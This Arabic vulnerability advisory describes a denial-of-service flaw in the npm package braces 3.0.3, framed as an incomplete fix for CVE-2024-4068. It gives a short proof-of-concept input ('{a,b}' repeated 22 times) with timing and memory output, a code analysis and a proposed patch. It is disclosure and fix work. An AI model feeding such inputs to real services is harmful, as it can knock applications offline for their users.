
مرشح CVE: DoS في [email protected] عبر توسيع الأقواس المفصول بفواصل (إصلاح غير مكتمل لـ CVE-2024-4068)
الحزمة: braces (npm) الإصدار: 3.0.3 (الأحدث) الخطورة: عالية (CVSS 7.5) CWE: CWE-400 استهلاك الموارد غير المتحكم فيه الحالة: غير مبلغ عنها
ملاحظة: هذا اكتشاف مستقل. عالج CVE-2024-4068 تحديد طول الإدخال (MAX_LENGTH=10000) لكنه لم يعالج الانفجار التوافقي للمخرجات الناتج عن أنماط الأقواس المفصولة بفواصل. يؤثر CVE-2026-45149 على حزمة مختلفة (
juliangruber/brace-expansion)، وليستmicromatch/braces.
مكتبة braces معرضة لرفض الخدمة من خلال استهلاك الموارد غير المتحكم فيه عند معالجة أنماط توسيع الأقواس المفصولة بفواصل.
إدخال خبيث لا يتجاوز 110 أحرفًا يتسبب في قيام المكتبة بتوليد 4.2 مليون عنصر في الذاكرة، ويستهلك أكثر من 1.2 غيغابايت من الذاكرة ويحجب المعالج لمدة 9-30 ثانية (يختلف حسب العتاد).
هذا إصلاح غير مكتمل لـ CVE-2024-4068. حدّ التصحيح الأصلي طول الإدخال بـ 10,000 حرف لكنه لم يحدّ المخرجات التوافقية للتوسعات المفصولة بفواصل.
braces تبعية لـ micromatch، والتي تُستخدم في:
أي تطبيق يمرر إدخالًا يتحكم به المستخدم إلى braces.expand() معرّض للثغرة.
في lib/expand.js، يتحقق حارس rangeLimit من النطاقات الرقمية فقط ({1..1000})، وليس الأنماط المفصولة بفواصل ({a,b}):
// lib/expand.js:57
if (node.ranges > 0) { // only numeric ranges are checked
if (utils.exceedsLimit(...args, options.step, rangeLimit)) {
throw new RangeError('...');
}
}
// Comma-separated expansions skip this check entirely
تبني الدالة append() بشكل تكراري جميع توليفات 2^N في مصفوفة دون أي حد للمخرجات.
mkdir braces-test && cd braces-test
npm init -y && npm install [email protected]
node -e "
const braces = require('braces');
const input = '{a,b}'.repeat(22);
console.time('expand');
const result = braces.expand(input);
console.timeEnd('expand');
console.log('Items:', result.length.toLocaleString());
"
# Install dependency first
npm install [email protected]
python3 poc_braces_dos.py
أعداد العناصر حتمية. يختلف التوقيت والذاكرة حسب العتاد.
======================================================================
PoC: braces 3.0.3 Denial of Service
CVE-CANDIDATE: CVE-2024-4068 incomplete fix
======================================================================
[*] Finding DoS threshold...
n=10: input= 50 chars -> 1,024 items, 4,096 chars, 11ms, +912KB
n=15: input= 75 chars -> 32,768 items, 163,840 chars, 96ms, +15915KB
n=18: input= 90 chars -> 262,144 items, 1,310,720 chars, 737ms, +115535KB
n=20: input= 100 chars -> 1,048,576 items, 5,242,880 chars, 1833ms, +242558KB
n=22: input= 110 chars -> 4,194,304 items, 20,971,520 chars, 9723ms, +1196410KB
n=25: TIMEOUT/OOM
[*] Conclusion:
- Input size: 110 characters (well within the 10,000 character limit)
- Memory consumption: >1.2GB
- CPU block time: ~10 seconds
braces.expand(input)
-> lib/expand.js:walk()
-> lib/expand.js:append() <- no output limit
-> recursively builds all 2^N combinations
-> returns massive array
أضف فحص حد عند كل خطوة دمج في lib/expand.js لمنع الانفجار التوافقي. لفّ استدعاءات append داخل walk() بدالة مساعدة للتحقق:
const queueLimit = (queue, stash, enclose) => {
if (rangeLimit === Infinity) return append(queue, stash, enclose);
const queueLength = queue ? [].concat(queue).length : 0;
const stashLength = [].concat(stash).length;
const nextLength = queueLength === 0 ? stashLength : (stashLength === 0 ? queueLength : queueLength * stashLength);
if (nextLength > rangeLimit) {
throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.');
}
return append(queue, stash, enclose);
};
استبدال استدعاءات append() داخل walk() بـ queueLimit() يضمن أن توليفات الأقواس والنطاقات المتتالية محدودة بأمان.
| التاريخ | الحدث |
|---|---|
| 2026-07-17 | اكتشاف الثغرة |
| 2026-07-21 | الإفصاح العلني (لم يبدأ الإفصاح المسؤول بعد) |
تم اكتشافها بواسطة cyeezy08.
| الإدخال (بالأحرف) | العناصر المخرجة | الوقت (تقريبي) | الذاكرة (تقريبية) |
|---|
| 50 | 1,024 | ~10ms | ~1MB |
| 75 | 32,768 | ~100ms | ~16MB |
| 90 | 262,144 | ~700ms | ~116MB |
| 100 | 1,048,576 | ~2-4s | ~243-468MB |
| 110 | 4,194,304 | ~10-30s | ~1.2GB+ |
| 125+ | Crash/OOM | Timeout | OOM Kill |
| الملف | الوصف |
|---|
poc_braces_dos.py | سكربت إثبات مفهوم عملي |
findings.md | تحليل مفصل للثغرة |
verdict.md | التأكيد ودرجة CVSS |
disclosure-report.md | نشرة جاهزة للتقديم |
patch.diff | الإصلاح المقترح لـ lib/expand.js |
email-draft.txt | مسودة بريد إلكتروني للمشرفين |